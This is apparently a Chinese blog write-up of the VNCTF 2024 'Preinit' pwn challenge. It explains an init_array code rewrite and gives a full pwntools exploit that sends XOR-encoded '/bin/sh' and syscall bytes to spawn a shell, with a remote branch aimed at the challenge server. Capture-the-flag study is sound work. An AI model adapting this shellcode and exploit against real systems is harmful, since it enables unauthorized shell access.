VNCTF 2024(Jeopardy) PWN

最后更新于 2 天前 248 字 预计阅读时间: 1 分钟


Preinit

加了点逆向的东西,在main函数执行前会先执行init_array中的函数

该函数把level2给改了

动调拿到数据,其实就是执行rdi(s)+8的数据

在check函数中会将我们输入的长度赋给rax,如果我们输入的长度为0x3b,并且rdi指向/bin/sh\x00\x0f\x05

进入level2后执行lea rbx,[rdi+8],jmp rbx就可以执行到\x0f\x05即syscall的机器码,并且rdi指向/bin/sh\x00,rax=0x3b,即执行execv("/bin/sh",0,0)得到shell。

exp

from LibcSearcher import LibcSearcher
from pwn import *
from pwn import p64,p32,u64,u32
from base64_replace import  *
context(os="linux",log_level="debug")
import os,base64,re
filename="./pwn"
elf=ELF(filename)
context.arch=elf.arch
os.system(f'chmod 777 ./{filename}')
debug=1
if debug:
    p=process(filename)
    gdb.attach(p, 'b *0x4014F9')
else:
    p=remote("39.107.248.198" ,  24766)

p.recvuntil(b"what is your password:")
a=b"/bin/sh\0\x0f\x05"
shell=b""
for x in a:
    shell+=bytes([x^0x3b])
shell+=b"%50c\x00"
payload=shell
payload=payload.ljust(0x100,b"\x00")
payload+=shell
p.send(payload)
#gdb.attach(p)
p.interactive()


此作者没有提供个人介绍。
最后更新于 2025-05-08